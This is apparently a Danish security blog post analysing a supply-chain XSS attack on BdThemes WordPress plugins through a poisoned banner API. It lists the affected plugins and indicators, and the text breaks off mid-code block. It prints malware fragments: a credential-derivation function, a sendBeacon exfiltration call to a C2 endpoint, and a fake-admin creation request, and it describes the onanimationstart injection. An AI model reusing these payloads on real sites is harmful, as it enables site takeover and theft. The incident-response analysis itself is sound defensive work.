{"id":259,"date":"2026-08-09T10:45:18","date_gmt":"2026-08-09T08:45:18","guid":{"rendered":"https:\/\/helloblog.io\/da\/bdthemes-angreb-forgiftet-api-ioc\/"},"modified":"2026-08-09T10:45:18","modified_gmt":"2026-08-09T08:45:18","slug":"bdthemes-angreb-forgiftet-api-ioc","status":"publish","type":"post","link":"https:\/\/helloblog.io\/da\/bdthemes-angreb-forgiftet-api-ioc\/","title":{"rendered":"BdThemes ramt af supply chain-angreb via forgiftet API-svar"},"content":{"rendered":"\n<p>Et kompromitteret JSON-feed var nok til at overtage WordPress-sites med flere BdThemes-plugins. Angrebet \u00e6ndrede hverken plugin-kode i WordPress.orgs repository eller filer p\u00e5 det enkelte site, men k\u00f8rte JavaScript direkte i browseren hos en logget ind administrator.<\/p>\n\n\n\n<div class=\"wp-block-group callout callout-danger is-style-danger is-layout-flow wp-block-group-is-layout-flow\" style=\"border-width:1px;border-radius:8px;padding-top:1rem;padding-right:1.5rem;padding-bottom:1rem;padding-left:1.5rem\">\n\n<h4 class=\"wp-block-heading callout-title\">Kritisk h\u00e6ndelse<\/h4>\n\n\n<p>Bruger du et af de ber\u00f8rte plugins, skal du behandle sitet som muligt kompromitteret. Gennemg\u00e5 straks brugere, plugin-mapper og databaseoptioner for indikatorerne l\u00e6ngere nede.<\/p>\n\n<\/div>\n\n\n\n<p>Alle kendte ber\u00f8rte plugins blev 7. august 2026 midlertidigt lukket i WordPress&#8217; plugin-bibliotek, mens de bliver unders\u00f8gt. Angrebet ramte leverand\u00f8rens Biggopti-komponent, der henter kampagnebannere til <code>wp-admin<\/code> fra en ekstern API.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">S\u00e5rbarheden kort fortalt<\/h2>\n\n\n\n<p>Biggopti indeholder en cross-site scripting-s\u00e5rbarhed (XSS), hvor angribere kan f\u00e5 vilk\u00e5rlig JavaScript til at k\u00f8re i en administrators browser. Fejlen ligger i feltet <code>display_id<\/code> fra Sigmative API&#8217;et, som ikke bliver escaped korrekt, f\u00f8r det inds\u00e6ttes i HTML.<\/p>\n\n\n\n<p>S\u00e5rbarheden har CVSS-score <strong>5,4 (medium)<\/strong> og er angivet som upatchet. Den rammer forskellige versioner af Biggopti-biblioteket og kan udnyttes, hvis en angriber f\u00e5r adgang til Sigmative API-serveren og kan \u00e6ndre dens svar.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ber\u00f8rt software<\/h3>\n\n\n\n<p>F\u00f8lgende plugins er omfattet af s\u00e5rbarheden:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/bdthemes-element-pack-lite\">Element Pack Addons for Elementor &#8212; Elementor Widgets, Elementor Templates, Elementor Addons<\/a> (<code>bdthemes-element-pack-lite<\/code>)<\/li>\n\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/live-copy-paste\">Live Copy Paste for Elementor &#8212; Cross Domain Copy Paste &#038; Page Duplicator<\/a> (<code>live-copy-paste<\/code>)<\/li>\n\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/pixel-gallery\">Pixel Gallery Addons for Elementor &#8212; Easy Grid, Creative Gallery, Drag and Drop Grid, Custom Grid Layout, Portfolio Gallery<\/a> (<code>pixel-gallery<\/code>)<\/li>\n\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/bdthemes-prime-slider-lite\">Prime Slider Addons for Elementor &#8212; Widgets, Templates &#038; Elementor Addons<\/a> (<code>bdthemes-prime-slider-lite<\/code>)<\/li>\n\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/smart-admin-assistant\">Smart Admin Assistant &#8212; Dashboard and Site Enhancements<\/a> (<code>smart-admin-assistant<\/code>)<\/li>\n\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/ultimate-post-kit\">Ultimate Post Kit Addons for Elementor<\/a> (<code>ultimate-post-kit<\/code>)<\/li>\n\n\n<li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/ultimate-store-kit\">Ultimate Store Kit &#8212; Addon For WooCommerce, EDD and Elementor<\/a> (<code>ultimate-store-kit<\/code>)<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">S\u00e5dan blev det eksterne feed til et angreb<\/h2>\n\n\n\n<p>Biggopti henter bannerdata fra en API, der best\u00e5r af statiske JSON-filer i en DigitalOcean Spaces-bucket bag Cloudflare. Det er alts\u00e5 ikke en dynamisk applikationsserver. En uautoriseret akt\u00f8r fik skriveadgang til bucket&#8217;en og erstattede legitime JSON-svar med manipulerede svar.<\/p>\n\n\n\n<p>Hvert plugin med Biggopti indl\u00e6ser et JavaScript-asset p\u00e5 <code>admin_init<\/code>. Scriptet k\u00f8rer derfor p\u00e5 enhver sideindl\u00e6sning i <code>wp-admin<\/code>, henter bannerdata og bygger en notice i DOM&#8217;en. Her bruges <code>display_id<\/code> direkte i et HTML-<code>id<\/code> uden escaping:<\/p>\n\n\n<a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/id\/7bf1d6f9-afe2-41c2-968b-20dbc474cd73\" class=\"download-card\" download>\n                <span class=\"download-icon\"><i class=\"fa-duotone fa-file-code\"><\/i><\/span>\n                <span class=\"download-info\">\n                    <span class=\"download-title\">Download<\/span>\n                    <span class=\"download-meta\"><span class=\"download-filename\">biggopti.js<\/span><\/span>\n                <\/span>\n                <span class=\"download-action\"><i class=\"fa-duotone fa-arrow-down-to-line\"><\/i><\/span>\n            <\/a>\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>\/\/ display_id kommer fra den eksterne JSON-respons\nvar f = t.display_id || t.id || &quot;default&quot;;\nvar m = &quot;bdt-admin-biggopti-api-biggopti-&quot; + f;\n\n\/\/ V\u00e6rdien inds\u00e6ttes uescaped i HTML-attributten\nA = 'id=&quot;' + m + '&quot;';\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#6A737D\">\/\/ display_id kommer fra den eksterne JSON-respons<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> f <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#E1E4E8\"> t.display_id <\/span><span style=\"color:#F97583\">||<\/span><span style=\"color:#E1E4E8\"> t.id <\/span><span style=\"color:#F97583\">||<\/span><span style=\"color:#9ECBFF\"> \"default\"<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> m <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#9ECBFF\"> \"bdt-admin-biggopti-api-biggopti-\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> f;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color:#6A737D\">\/\/ V\u00e6rdien inds\u00e6ttes uescaped i HTML-attributten<\/span><\/span>\n<span class=\"line\"><span style=\"color:#79B8FF\">A<\/span><span style=\"color:#F97583\"> =<\/span><span style=\"color:#9ECBFF\"> 'id=\"'<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> m <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#9ECBFF\"> '\"'<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Samme kodebase har en escape-funktion til attributten <code>data-display-id<\/code>. Funktionen erstatter <code>&amp;<\/code>, <code>&lt;<\/code>, <code>&gt;<\/code>, og dobbelte anf\u00f8rselstegn, men den blev ikke brugt til <code>id<\/code>-attributten.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>function escapeAttribute(value) {\n  return (value || &quot;&quot;)\n    .replace(\/&amp;\/g, &quot;&amp;amp;&quot;)\n    .replace(\/&lt;\/g, &quot;&amp;lt;&quot;)\n    .replace(\/&gt;\/g, &quot;&amp;gt;&quot;)\n    .replace(\/&quot;\/g, &quot;&amp;quot;&quot;);\n}\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#F97583\">function<\/span><span style=\"color:#B392F0\"> escapeAttribute<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#FFAB70\">value<\/span><span style=\"color:#E1E4E8\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  return<\/span><span style=\"color:#E1E4E8\"> (value <\/span><span style=\"color:#F97583\">||<\/span><span style=\"color:#9ECBFF\"> \"\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">&#x26;<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;amp;\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">&#x3C;<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;lt;\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">><\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;gt;\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">\"<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;quot;\"<\/span><span style=\"color:#E1E4E8\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>SVN-historikken viser, at den uescaped <code>id<\/code>-injektion kom ind i Prime Slider <code>4.1.9<\/code> den 1. marts 2026 og derefter blev brugt i de \u00f8vrige plugins. Senere versioner tilf\u00f8jede en DOMParser-baseret sanitizer til bannerets indholdsfelt, som fjerner farlige HTML-tags og inline-handlere. <code>id<\/code>-attributten forblev dog uescaped.<\/p>\n\n\n\n<p>Det manipulerede <code>display_id<\/code> br\u00f8d ud af <code>id<\/code>-attributten og tilf\u00f8jede en <code>onanimationstart<\/code>-handler. En CSS-animation udl\u00f8ste handleren efter cirka 10 millisekunder, s\u00e5 JavaScriptet k\u00f8rte lydl\u00f8st, hver gang en administrator \u00e5bnede en side i kontrolpanelet. Den observerede JSON-respons brugte en <code>SAFE&quot;<\/code>-v\u00e6rdi efterfulgt af <code>onanimationstart=eval(String.fromCharCode(...))<\/code> til at hente et eksternt script fra <code>api.sigmative.io<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ingen opdatering eller fil\u00e6ndring var n\u00f8dvendig<\/h2>\n\n\n\n<p>En installation kunne blive ramt uden plugin-opdatering og uden \u00e6ndringer af filer p\u00e5 disken. Det gjorde angrebet vanskeligt at opdage med filbaserede integritetsscannere og kun svagt synligt for web application firewalls, fordi angrebsvektoren var det betroede API-svar.<\/p>\n\n\n\n<p>N\u00e5r scriptet k\u00f8rte i en administrators autentificerede session, oprettede det falske administratorer, uploadede et plugin med webshell og etablerede vedvarende bagd\u00f8re. Resultatet var fuld kompromittering af sitet og mulighed for fjernudf\u00f8relse af kode.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">To payloads og flere kompromitteringstrin<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Prim\u00e6r payload: <code>w2.js<\/code><\/h3>\n\n\n\n<p>Den prim\u00e6re payload blev leveret til plugins, der brugte endpointet <code>api-data-all-records<\/code>. I den aktive administrators session gennemf\u00f8rte <code>w2.js<\/code> f\u00f8lgende forl\u00f8b:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>C2-verifikation:<\/strong> Scriptet kontaktede <code>ia-cdn[.]com\/fz\/c<\/code> med det kompromitterede sites origin for at modtage m\u00e5lretningsinstruktioner. Returnerede C2-serveren status <code>skip<\/code> eller <code>done<\/code>, stoppede scriptet.<\/li>\n\n\n<li><strong>Oprettelse af falsk administrator:<\/strong> Scriptet brugte <code>X-WP-Nonce<\/code> fra den aktive administrators session til at oprette en administrator gennem WordPress&#8217; REST API. Hvis det mislykkedes, faldt det tilbage til almindelige formularindsendelser.<\/li>\n\n\n<li><strong>Installation af webshell:<\/strong> Scriptet hentede en falsk plugin-ZIP fra C2-serveren og uploadede den gennem WordPress&#8217; normale plugin-uploadformular. Pluginet brugte sluggen <code>wp-smart-thumbnails<\/code> eller en tilsvarende neutral slug og indeholdt webshellen <code>emer-run.php<\/code>, som kunne kaldes direkte via URL.<\/li>\n\n\n<li><strong>Vedvarende MU-plugin-bagd\u00f8re:<\/strong> Kaldet til <code>emer-run.php<\/code> lagde to persistensmoduler i mappen for Must-Use-plugins. De indsamlede eksempler var tilbagedateret til september 2025 for at ligne legitime filsystemtidsstempler, og filnavnene kan variere mellem infektioner. Det ene modul gav uautentificeret administratoradgang via URL-parameteren <code>?_wplogin=&lt;token&gt;<\/code> og gik efter sitets l\u00e6ngst registrerede administrator. Det andet var et stealth-modul, der hookede ind i WordPress&#8217; databaseforesp\u00f8rgsler for at skjule de oprettede konti fra brugerlisten og samtidig s\u00e6nke det viste samlede brugerantal.<\/li>\n\n\n<li><strong>Eksfiltrering:<\/strong> Scriptet sendte resultater fra hvert udf\u00f8relsestrin tilbage til C2-serveren med <code>navigator.sendBeacon<\/code>.<\/li>\n\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Alternativ payload: <code>x.js<\/code><\/h3>\n\n\n\n<p>Den sekund\u00e6re payload, <code>x.js<\/code>, l\u00e5 direkte p\u00e5 BdThemes&#8217; infrastruktur og blev leveret til plugins, der brugte <code>api-data-records<\/code>. Den afledte administratoroplysninger deterministisk fra det kompromitterede sites hostname.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>function makeCreds() {\n  var host = siteKey();\n  var hash = 0;\n\n  for (var i = 0; i &lt; host.length; i++) {\n    hash = ((hash &lt;&lt; 5) - hash + host.charCodeAt(i)) | 0;\n  }\n\n  var n = Math.abs(hash).toString(36).slice(0, 6);\n  return {\n    user: &quot;bd_&quot; + n,\n    pass: &quot;Bd@26!&quot; + n + &quot;x&quot;\n  };\n}\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#F97583\">function<\/span><span style=\"color:#B392F0\"> makeCreds<\/span><span style=\"color:#E1E4E8\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  var<\/span><span style=\"color:#E1E4E8\"> host <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#B392F0\"> siteKey<\/span><span style=\"color:#E1E4E8\">();<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  var<\/span><span style=\"color:#E1E4E8\"> hash <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#79B8FF\"> 0<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  for<\/span><span style=\"color:#E1E4E8\"> (<\/span><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> i <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#79B8FF\"> 0<\/span><span style=\"color:#E1E4E8\">; i <\/span><span style=\"color:#F97583\">&#x3C;<\/span><span style=\"color:#E1E4E8\"> host.<\/span><span style=\"color:#79B8FF\">length<\/span><span style=\"color:#E1E4E8\">; i<\/span><span style=\"color:#F97583\">++<\/span><span style=\"color:#E1E4E8\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    hash <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#E1E4E8\"> ((hash <\/span><span style=\"color:#F97583\">&#x3C;&#x3C;<\/span><span style=\"color:#79B8FF\"> 5<\/span><span style=\"color:#E1E4E8\">) <\/span><span style=\"color:#F97583\">-<\/span><span style=\"color:#E1E4E8\"> hash <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#E1E4E8\"> host.<\/span><span style=\"color:#B392F0\">charCodeAt<\/span><span style=\"color:#E1E4E8\">(i)) <\/span><span style=\"color:#F97583\">|<\/span><span style=\"color:#79B8FF\"> 0<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">  }<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  var<\/span><span style=\"color:#E1E4E8\"> n <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#E1E4E8\"> Math.<\/span><span style=\"color:#B392F0\">abs<\/span><span style=\"color:#E1E4E8\">(hash).<\/span><span style=\"color:#B392F0\">toString<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#79B8FF\">36<\/span><span style=\"color:#E1E4E8\">).<\/span><span style=\"color:#B392F0\">slice<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#79B8FF\">0<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#79B8FF\">6<\/span><span style=\"color:#E1E4E8\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  return<\/span><span style=\"color:#E1E4E8\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    user: <\/span><span style=\"color:#9ECBFF\">\"bd_\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> n,<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    pass: <\/span><span style=\"color:#9ECBFF\">\"Bd@26!\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> n <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#9ECBFF\"> \"x\"<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">  };<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Algoritmen dannede brugernavne som <code>bd_<\/code> plus et base36-hash p\u00e5 seks tegn og adgangskoder som <code>Bd@26!<\/code> plus samme hash og <code>x<\/code>. Kontoen fik en e-mailadresse p\u00e5 formen <code>&lt;brugernavn&gt;@wordpress.org<\/code>. Angriberne beh\u00f8vede dermed ikke at opbevare en central liste over kompromitterede sites, og incident responders kan beregne de pr\u00e6cise oplysninger, som de skal lede efter p\u00e5 et mist\u00e6nkt dom\u00e6ne.<\/p>\n\n\n\n<p>Payloaden oprettede derefter den falske administrator gennem <code>\/wp-admin\/user-new.php<\/code>, afl\u00e6ste nonce-v\u00e6rdien fra formularen og sendte status, brugernavn, adgangskode, site-origin, logout-URL og aktuel side-URL til C2. Den gemte ogs\u00e5 en statusmarkering i browserens <code>localStorage<\/code>, n\u00e5r det var muligt, s\u00e5 den ikke fors\u00f8gte igen i samme browser.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>\/\/ Resultater blev sendt som formdata; fetch var reservevej.\nnavigator.sendBeacon(C, new Blob([queryString], {\n  type: &quot;application\/x-www-form-urlencoded&quot;\n}));\n\n\/\/ Den oprettede konto fik administratorrollen.\nvar body = &quot;action=createuser&amp;_wpnonce_create-user=&quot; + nonce +\n  &quot;&amp;user_login=&quot; + user +\n  &quot;&amp;email=&quot; + user + &quot;%40wordpress.org&quot; +\n  &quot;&amp;pass1=&quot; + encodeURIComponent(pass) +\n  &quot;&amp;pass2=&quot; + encodeURIComponent(pass) +\n  &quot;&amp;role=administrator&amp;createuser=Add+New+User&quot;;\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 